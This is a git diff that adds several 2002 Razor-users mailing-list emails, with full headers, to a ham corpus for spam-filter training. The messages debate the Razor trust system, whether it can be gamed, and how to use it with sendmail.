magnitude more CPU cycles. That would +be stupid. Also, it would take several orders of magnitude longer to +bootstrap and reach effectiveness. Sub-optimal in the extreme. + +As regards to the problems with the "gray" areas you mentioned, servers +recognize such content, and razor-agents can use this information to make +individual determination. Not to mention, users can set a local confidence +level they are confortable with. + +cheers, +vipul. + +On Thu, Aug 08, 2002 at 01:09:22PM -0700, Craig R . Hughes wrote: +> By system-trust vs personal trust I don't mean that the system doesn't +> have a trust rating for each user, but rather that each individual has +> one system-wide trust rating. Your trust rating for scoring my mail is +> the same as your trust rating for scoring your own email, or Joe +> Schmoe's email. You may be great at flagging most spam, but just really +> bad at flagging one particular piece of controversial mail which is +> "gray spam" -- ie some people love it, others hate it. Ideally, I should +> have my own personal trust score for you which agrees with my beliefs +> about that controversial mail, rather than the system-wide beliefs. If +> that doesn't happen, then depending on the trust system's weightings, +> there are 3 possibilities: +> +> 1. All "gray" mail is blocked as spam (ie lots of false positives for +> individual users) +> 2. All "gray" mail is allowed through as nonspam (ie lots of false +> negatives for individuals) +> 3. The entire trust system collapses because noone is trusted due to +> conflicting votes about "gray" spam. + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00612.cb68c495a2f64d9f3a25fecbc176e961 b/bayes/spamham/easy_ham_2/00612.cb68c495a2f64d9f3a25fecbc176e961 new file mode 100644 index 0000000..ae1537c --- /dev/null +++ b/bayes/spamham/easy_ham_2/00612.cb68c495a2f64d9f3a25fecbc176e961 @@ -0,0 +1,87 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:55:58 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 60466440CF + for ; Fri, 9 Aug 2002 10:55:12 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:55:12 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EWTb07667 for + ; Fri, 9 Aug 2002 15:32:29 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id XAA01878 for + ; Thu, 8 Aug 2002 23:49:59 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cw0g-00036r-00; Thu, + 08 Aug 2002 15:44:02 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=rover.vipul.net) by usw-sf-list1.sourceforge.net with esmtp (Exim + 3.31-VA-mm2 #1 (Debian)) id 17cvzm-0002di-00 for + ; Thu, 08 Aug 2002 15:43:06 -0700 +Received: (from vipul@localhost) by rover.vipul.net (8.11.6/8.11.6) id + g78Mh4Y05970 for razor-users@lists.sf.net; Thu, 8 Aug 2002 15:43:04 -0700 +From: Vipul Ved Prakash +To: razor-users@example.sourceforge.net +Subject: Re: [Razor-users] keep submitting known spam? +Message-Id: <20020808154303.A5236@rover.vipul.net> +Reply-To: mail@vipul.net +Mail-Followup-To: razor-users@lists.sf.net +References: <20020808111842.J1593@rover.vipul.net> + + <20020808152638.A32536@frontier.limbo.net> +MIME-Version: 1.0 +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline +User-Agent: Mutt/1.2.5i +In-Reply-To: <20020808152638.A32536@frontier.limbo.net>; from + turk182@chipware.net on Thu, Aug 08, 2002 at 03:26:38PM -0700 +X-Operating-System: Linux rover.vipul.net 2.4.18 +X-Privacy: If possible, encrypt your reply. Key at http://vipul.net/ +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 15:43:03 -0700 +Date: Thu, 8 Aug 2002 15:43:03 -0700 + +On Thu, Aug 08, 2002 at 03:26:38PM -0700, Chip Paswater wrote: +> +> Perhaps a feature can be added to razor-report, so that it checks whether a +> message is spam before it submits it. If it is spam, then don't send the +> body, 4 signatures, etc, just up the "rating" for that individual spam. + +Yep, that how razor-agents currently work. + +cheers, +vipul. + +-- + +Vipul Ved Prakash | "The future is here, it's just not +Software Design Artist | widely distributed." +http://vipul.net/ | -- William Gibson + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00613.80ccdadbbc27715a03f1f59580405340 b/bayes/spamham/easy_ham_2/00613.80ccdadbbc27715a03f1f59580405340 new file mode 100644 index 0000000..699342b --- /dev/null +++ b/bayes/spamham/easy_ham_2/00613.80ccdadbbc27715a03f1f59580405340 @@ -0,0 +1,102 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:56:14 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 536FB440D9 + for ; Fri, 9 Aug 2002 10:55:23 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:55:23 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EWxb07911 for + ; Fri, 9 Aug 2002 15:32:59 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id XAA01668 for + ; Thu, 8 Aug 2002 23:16:08 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cvTo-0003PD-00; Thu, + 08 Aug 2002 15:10:04 -0700 +Received: from h-66-166-21-186.snvacaid.covad.net ([66.166.21.186] + helo=cynosure.darkridge.com) by usw-sf-list1.sourceforge.net with esmtp + (Exim 3.31-VA-mm2 #1 (Debian)) id 17cvTI-0007RS-00 for + ; Thu, 08 Aug 2002 15:09:32 -0700 +Received: (from jpr5@localhost) by cynosure.darkridge.com (8.11.6/8.11.5) + id g78M9Pn02405; Thu, 8 Aug 2002 15:09:25 -0700 +From: Jordan Ritter +To: "Craig R . Hughes" , + razor-users@lists.sourceforge.net +Message-Id: <20020808220925.GF1767@darkridge.com> +References: <007001c23ef4$25af8f40$6600a8c0@dhiggins> + + <20020808142859.A4489@rover.vipul.net> +MIME-Version: 1.0 +Content-Type: multipart/signed; micalg=pgp-sha1; + protocol="application/pgp-signature"; + boundary="f0KYrhQ4vYSV2aJu" +Content-Disposition: inline +In-Reply-To: <20020808142859.A4489@rover.vipul.net> +User-Agent: Mutt/1.4i +X-Copyright: This e-mail is Copyright (c) 2002 by jpr5@darkridge.com +X-Spamadvice: Pursuant to US Code; Title 47; Chapter 5; Subchapter II; 227 any unsolicited commercial email to this address will be subject to a download and archival fee of US$500. Pursuant to California Business & Professions Code; S17538.45 any email service provider involved in SPAM activities will be liable for statutory damages of US$50 per message, up to US$25,000 per day. Pursuant to California Penal Code; S502 any unsolicited email sent to this address is in violation of Federal Law and is subject to fine and/or imprisonment. +Subject: [Razor-users] Re: intentions +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 15:09:25 -0700 +Date: Thu, 8 Aug 2002 15:09:25 -0700 + + +--f0KYrhQ4vYSV2aJu +Content-Type: text/plain; charset=us-ascii +Content-Disposition: inline + +Craig, + + I don't really understand how you can make the claims that you + make without a full understanding of TeS, which you can't have + because we haven't published the details. + + In the end, given that you don't know much about TeS or how it + works, your statements really call into question your intentions + given that you have a competing product in this space. + +Regards, + +--jordan + +--f0KYrhQ4vYSV2aJu +Content-Type: application/pgp-signature +Content-Disposition: inline + +-----BEGIN PGP SIGNATURE----- +Version: GnuPG v1.0.7 (GNU/Linux) + +iD8DBQE9UuwVpwQdAVEbU7oRAgPAAKCBgOAqyCLpbBmryq53F7IZo8yvtQCfQYms +6dk7xDTKr9UIZeG9Z0Y1AZg= +=7tWy +-----END PGP SIGNATURE----- + +--f0KYrhQ4vYSV2aJu-- + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00614.7dad3f5897429242a45a480c00fc2469 b/bayes/spamham/easy_ham_2/00614.7dad3f5897429242a45a480c00fc2469 new file mode 100644 index 0000000..62fc378 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00614.7dad3f5897429242a45a480c00fc2469 @@ -0,0 +1,171 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:56:21 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 5E026440DB + for ; Fri, 9 Aug 2002 10:55:27 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:55:27 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EZub08420 for + ; Fri, 9 Aug 2002 15:35:56 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id VAA00949 for + ; Thu, 8 Aug 2002 21:45:09 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cu1m-0004zm-00; Thu, + 08 Aug 2002 13:37:02 -0700 +Received: from granger.mail.mindspring.net ([207.69.200.148]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cu17-0007L4-00 for ; Thu, + 08 Aug 2002 13:36:21 -0700 +Received: from user-1121e1b.dsl.mindspring.com ([66.32.184.43] + helo=belphegore.hughes-family.org) by granger.mail.mindspring.net with + esmtp (Exim 3.33 #1) id 17cu15-0004oV-00; Thu, 08 Aug 2002 16:36:19 -0400 +Received: from balam.hughes-family.org + (adsl-67-118-234-50.dsl.pltn13.pacbell.net [67.118.234.50]) by + belphegore.hughes-family.org (Postfix) with ESMTP id 09BF69FE8B; + Thu, 8 Aug 2002 13:36:17 -0700 (PDT) +Subject: Re: [Razor-users] What's wrong with the Razor servers now? +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: +To: "Gregory Sloop" +From: "Craig R.Hughes" +In-Reply-To: <002a01c23ef5$74dc75f0$1601730a@and1900a> +Message-Id: <7C91C63D-AB0E-11D6-BCF2-00039396ECF2@deersoft.com> +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 13:36:15 -0700 +Date: Thu, 8 Aug 2002 13:36:15 -0700 + + +On Thursday, August 8, 2002, at 09:05 AM, Gregory Sloop wrote: + +> I agree (I think).... +> +> But gaming the system, for any system, (spamassassin included) is extra +> work. + +Yes, it's definitely extra work. The question is how much extra +work, both up front, and then on an ongoing basis. I know +nothing about how the trust system is working (still waiting for +that long-promised server code to be published), but now that +it's been turned on, and the more info that's coming out about +it, the more concerned I'm becoming that it's extremely easy to +game; that the initial amount of work to set up a gaming agent +is low, and that once it's set up, it can be "fire and forget" +in terms of continuing to operate in a way that's not easy to +distinguish from real user behavior. + +> Sure, you can find a way to work almost any system, but few +> users (spammers) +> will actually take the time to game the system. + +Another concern I have with the way the system might be working +is that it might not actually require very many gamers at all to +utterly undermine the whole system. There are a certain number +of possible universes where the trust system is very sensitive +to liars, or misclassifiers of "gray" mail, or both. It's not +clear yet whether this universe is one of those or not. + +> That means that we might have a system that is less than 100% +> effective, but +> perfect accuracy and effectiveness comes at a prohibitive cost. +> (Complex +> systems, time numbing hours of coding etc.) + +You do need a certain level of accuracy though, or the filter is +not economically worthwhile. If you only filter 75% of spam, +you're wasting your time. Some people receive on the order of a +10:1 ratio of spam:real mail -- 75% means the ratio adjusts to +5:2 which is still shitty. 95% makes it 1:2, which is better. +99% makes it 1:10 which is quite nice. As the global ratio of +spam:mail rises, this problem gets somewhat more important. +With an order of magnitude worsening of the incoming spam:real +ratio, 100:1, 99% effective still works OK. 75% effective is +now really, really shitty. + + +> I can't vouch for Razor currently, as I'm not at all +> knowledgeable. But I +> suspect the current route was picked because it was fairly simple to +> impliment, and it (at least some think) should work decently - if not +> completely without fault. + +Time will tell. Time will also tell how good the system is at +adjusting over time to gaming strategies. + +> I put up with some garbage results in SA, simply because it +> blocks most of +> my spam, without too many false positives. + +SA definitely has a non-zero FP rate, and always will have. I +would argue that any system will have a non-zero FP rate, +including the "no filter" filter -- humans make mistakes too +sometimes! As spammer strategies evolve over time though, I'm +fairly sure that SA will be able to adjust and compensate. If +spammers figure out how to easily pollute the SpamNet trust +system, I'm not sure how easy it'll be to replace the trust +system with something else. + +> Perhaps Craig is just theorizing, but I just thought I'd offer my two +> ity-bits. + +Lots of theorizing, most of it based on little data. The key +premises I'm worrying about though are: + +1. Trust system is easy to pollute +2. Trust system is not personal, which makes the assumption that +all honest voters agree on what constitutes spam + + +> Somthing simple, and actually implimented, that works +> reasonably well, is +> better than somthing that works perfectly, but will never be +> implimented +> because of it's cost. (The rub is that everyone defines +> "reasonably well" in +> dramatically different ways - *grin* as evidenced my the masses +> that think +> Microsoft's stuff works "resaonably well" _bah_ - [but it does +> keep me fully +> employed 'sigh'] + +Razor2 seems to have been a long time in coming, apparently is +quite resource intensive (judging by Cloudmark's fundraising +efforts), and doesn't currently work. It has great promise, and +I'm hoping that once the wrinkles are worked through, it'll add +another powerful tool in the war on spam -- I'm just concerned +that it's getting off on the wrong foot and might not be able to +recover. + +C + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00615.23556d88fcb1179b25083cfc41017f42 b/bayes/spamham/easy_ham_2/00615.23556d88fcb1179b25083cfc41017f42 new file mode 100644 index 0000000..720d6c0 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00615.23556d88fcb1179b25083cfc41017f42 @@ -0,0 +1,88 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:56:43 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id A8B50440DD + for ; Fri, 9 Aug 2002 10:55:35 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:55:35 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79Ea9b08448 for + ; Fri, 9 Aug 2002 15:36:09 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id VAA00814 for + ; Thu, 8 Aug 2002 21:21:34 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cteY-0007Ao-00; Thu, + 08 Aug 2002 13:13:02 -0700 +Received: from smtp-gw-cl-b.dmv.com ([64.45.128.111]) by + usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) + (Exim 3.31-VA-mm2 #1 (Debian)) id 17ctdb-0002id-00 for + ; Thu, 08 Aug 2002 13:12:03 -0700 +Received: from landshark (landshark.dmv.com [64.45.129.242]) by + smtp-gw-cl-b.dmv.com (8.12.3/8.12.3) with SMTP id g78K5xQl040183 for + ; Thu, 8 Aug 2002 16:05:59 -0400 (EDT) + (envelope-from sven@dmv.com) +Message-Id: <002601c23f17$dab92680$f2812d40@landshark> +From: "Sven Willenberger" +To: +References: +Subject: Re: [Razor-users] Using Razor with non-mbox files +MIME-Version: 1.0 +Content-Type: text/plain; charset="iso-8859-1" +Content-Transfer-Encoding: 7bit +X-Priority: 3 +X-Msmail-Priority: Normal +X-Mailer: Microsoft Outlook Express 6.00.2600.0000 +X-Mimeole: Produced By Microsoft MimeOLE V6.00.2600.0000 +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 16:12:00 -0400 +Date: Thu, 8 Aug 2002 16:12:00 -0400 + +> ----- Original Message ----- +> Date: Thu, 08 Aug 2002 11:58:36 -0400 +> From: wertzscott@cs.com +> To: razor-users@example.sourceforge.net +> Subject: [Razor-users] Using Razor with non-mbox files +> +> Greetings! I'm new to this list, and new to Razor. Trying to get it to +compile now (perhaps more on that later), but I'm wondering if it can really +do what I need anyway. In short my question is whether Razor can process +files directly from sendmail's queues. Here's the situation. +> + +You can use a milter with sendmail that will add an X-header labeling the +mail as spam for procmail processing later (see smrazor: +http://www.sapros.com/smrazor/ ). You can modify the .c file to reject the +email instead. I have been using this with sendmail 8.12.5 and Solaris 9 +with razor-agents 2.14 quite successfully (barring network/catalogue server +issues) ... + +Sven + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00616.d760bb16b06ae9952561541de4e29e78 b/bayes/spamham/easy_ham_2/00616.d760bb16b06ae9952561541de4e29e78 new file mode 100644 index 0000000..e8d9378 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00616.d760bb16b06ae9952561541de4e29e78 @@ -0,0 +1,97 @@ +From razor-users-admin@lists.sourceforge.net Fri Aug 9 15:57:36 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 855DD440E1 + for ; Fri, 9 Aug 2002 10:55:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Fri, 09 Aug 2002 15:55:55 +0100 (IST) +Received: from webnote.net (mail.webnote.net [193.120.211.219]) by + dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id g79EWsb07885 for + ; Fri, 9 Aug 2002 15:32:54 +0100 +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by webnote.net (8.9.3/8.9.3) with ESMTP id XAA01747 for + ; Thu, 8 Aug 2002 23:27:35 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17cvcV-0007ut-00; Thu, + 08 Aug 2002 15:19:03 -0700 +Received: from tisch.mail.mindspring.net ([207.69.200.157]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17cvbf-0000j6-00 for ; Thu, + 08 Aug 2002 15:18:11 -0700 +Received: from user-1121e1b.dsl.mindspring.com ([66.32.184.43] + helo=belphegore.hughes-family.org) by tisch.mail.mindspring.net with esmtp + (Exim 3.33 #1) id 17cvbR-0003Vs-00; Thu, 08 Aug 2002 18:17:57 -0400 +Received: from balam.hughes-family.org + (adsl-67-118-234-50.dsl.pltn13.pacbell.net [67.118.234.50]) by + belphegore.hughes-family.org (Postfix) with ESMTP id 43FE996CD5; + Thu, 8 Aug 2002 15:17:54 -0700 (PDT) +Subject: Re: [Razor-users] What's wrong with the Razor servers now? +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: razor-users@example.sourceforge.net +To: Jordan Ritter +From: "Craig R.Hughes" +In-Reply-To: <20020808204451.GC1767@darkridge.com> +Message-Id: +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Thu, 8 Aug 2002 15:17:52 -0700 +Date: Thu, 8 Aug 2002 15:17:52 -0700 + +I'm talking specifically about the last ~24 hours where it seems +like things have not been working. People who've been using the +Outlook plugin have been telling me they've been seeing really +bad performance, which I've been attributing to the problems +which have been discussed here and on sa-talk. I'm not saying +it's completely not working, or that it has no chance of being +fixed 15 minutes from now, just that it's not currently working, +and there have been a number of "hiccup" periods in the last +couple months. Plus, it's hard to deny that we don't know yet +if the trust network is going to work or not -- it only just got +switched on, and that changeover seems to have corresponded with +people noticing things have stopped working right. + +C + +On Thursday, August 8, 2002, at 01:44 PM, Jordan Ritter wrote: + +> On Thu, Aug 08, 2002 at 01:36:15PM -0700, Craig R.Hughes wrote: +> +> # Razor2 seems to have been a long time in coming, [...] and doesn't +> # currently work. +> +> Quite a strong statement, Craig, one which over 30,000 active users a +> day would strongly disagree with. +> +> +> --jordan +> + + + +------------------------------------------------------- +This sf.net email is sponsored by:ThinkGeek +Welcome to geek heaven. +http://thinkgeek.com/sf +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00617.3900da1df666d45653492bd0f47fdada b/bayes/spamham/easy_ham_2/00617.3900da1df666d45653492bd0f47fdada new file mode 100644 index 0000000..a76f1a5 --- /dev/null +++ b/bayes/spamham/easy_ham_2/00617.3900da1df666d45653492bd0f47fdada @@ -0,0 +1,103 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:20:22 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id BA13A43C41 + for ; Tue, 13 Aug 2002 05:17:52 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:17:52 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7CLUBb02369 for ; Mon, 12 Aug 2002 22:30:12 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eMcc-0001YW-00; Mon, + 12 Aug 2002 14:21:06 -0700 +Received: from smtp10.atl.mindspring.net ([207.69.200.246]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17eMcA-0004Yh-00 for ; Mon, + 12 Aug 2002 14:20:38 -0700 +Received: from user-1121e1b.dsl.mindspring.com ([66.32.184.43] + helo=belphegore.hughes-family.org) by smtp10.atl.mindspring.net with esmtp + (Exim 3.33 #1) id 17eMc2-0004QM-00; Mon, 12 Aug 2002 17:20:30 -0400 +Received: from balam.hughes-family.org + (adsl-67-118-234-50.dsl.pltn13.pacbell.net [67.118.234.50]) by + belphegore.hughes-family.org (Postfix) with ESMTP id 2FAD330B6B; + Mon, 12 Aug 2002 14:20:28 -0700 (PDT) +Subject: Re: [Razor-users] Re: What's wrong with the Razor servers now? +Content-Type: text/plain; charset=US-ASCII; format=flowed +MIME-Version: 1.0 (Apple Message framework v482) +Cc: razor-users@example.sourceforge.net +To: Jehan +From: "Craig R.Hughes" +In-Reply-To: +Message-Id: <54059D4C-AE39-11D6-A15F-00039396ECF2@deersoft.com> +Content-Transfer-Encoding: 7bit +X-Mailer: Apple Mail (2.482) +Sender: razor-users-admin@example.sourceforge.net +Errors-To: razor-users-admin@example.sourceforge.net +X-Beenthere: razor-users@example.sourceforge.net +X-Mailman-Version: 2.0.9-sf.net +Precedence: bulk +List-Help: +List-Post: +List-Subscribe: , + +List-Id: +List-Unsubscribe: , + +List-Archive: +X-Original-Date: Mon, 12 Aug 2002 14:20:29 -0700 +Date: Mon, 12 Aug 2002 14:20:29 -0700 + + +On Monday, August 12, 2002, at 11:06 AM, Jehan wrote: + +> Craig R.Hughes wrote: +>> This is, I think the biggest fallacy here. You don't have to +>> block jack shit to get a high trust rating, you just have to +>> confirm Razor's existing opinion on a large number of messages: +>> if(check() == spam) then submit() else revoke() +>> That algorithm boosts trust, but reduces the information in +>> SpamNet by damping. +> +> If you know a way to prevent people (spammer or not) to do that +> while allowing you to do it, pray, tell me. +> +> And I imagine easily that if someone submit/revoke at a very +> high rate, some alarm triggers on Razor's server resulting in +> their user id to be disabled/deleted. +> I also suspect that the more you submit/revoke the same mail, +> the less influence it has on your trust. And since there isn't +> millions of different spam (it's always the same ones coming +> back over and over with maybe one or two different words, i.e. +> the same mail if fuzzy signatures work well), I guess that +> spammer will reach there limit pretty quickly. + +I was thinking you could easily create a spamtrap which you +subscribe to lots of legitimate nonspam mailing lists, plus you +also spread the email address around and get it in the hands of +lots of spammers so it ends up receiving large quantities of +both spam and nonspam, then you have it apply the algorithm +above to the incoming mail stream. So it could be thousands of +actual real, different, emails per day. The "very high rate +triggers alarms" thing is certainly something which would be +possible to check for, but there may be legitimate ways to +exhibit this behavior -- can't think of one right now but "AOL +proxy server" springs to mind as an example from another domain. + +C + + + +------------------------------------------------------- +This sf.net email is sponsored by: Dice - The leading online job board +for high-tech professionals. Search and apply for tech jobs today! +http://seeker.dice.com/seeker.epl?rel_code=31 +_______________________________________________ +Razor-users mailing list +Razor-users@lists.sourceforge.net +https://lists.sourceforge.net/lists/listinfo/razor-users + + diff --git a/bayes/spamham/easy_ham_2/00618.e0dddffe4b7b4a18be1fbb61226a504c b/bayes/spamham/easy_ham_2/00618.e0dddffe4b7b4a18be1fbb61226a504c new file mode 100644 index 0000000..c1a53fe --- /dev/null +++ b/bayes/spamham/easy_ham_2/00618.e0dddffe4b7b4a18be1fbb61226a504c @@ -0,0 +1,77 @@ +From razor-users-admin@lists.sourceforge.net Tue Aug 13 10:20:26 2002 +Return-Path: +Delivered-To: yyyy@localhost.netnoteinc.com +Received: from localhost (localhost [127.0.0.1]) + by phobos.labs.netnoteinc.com (Postfix) with ESMTP id 03DEF43C5A + for ; Tue, 13 Aug 2002 05:17:55 -0400 (EDT) +Received: from phobos [127.0.0.1] + by localhost with IMAP (fetchmail-5.9.0) + for jm@localhost (single-drop); Tue, 13 Aug 2002 10:17:55 +0100 (IST) +Received: from usw-sf-list2.sourceforge.net (usw-sf-fw2.sourceforge.net + [216.136.171.252]) by dogma.slashnull.org (8.11.6/8.11.6) with ESMTP id + g7CLXfb02469 for ; Mon, 12 Aug 2002 22:33:41 +0100 +Received: from usw-sf-list1-b.sourceforge.net ([10.3.1.13] + helo=usw-sf-list1.sourceforge.net) by usw-sf-list2.sourceforge.net with + esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 17eMiV-0002XX-00; Mon, + 12 Aug 2002 14:27:11 -0700 +Received: from granger.mail.mindspring.net ([207.69.200.148]) by + usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id + 17eMiC-0005us-00 for ; 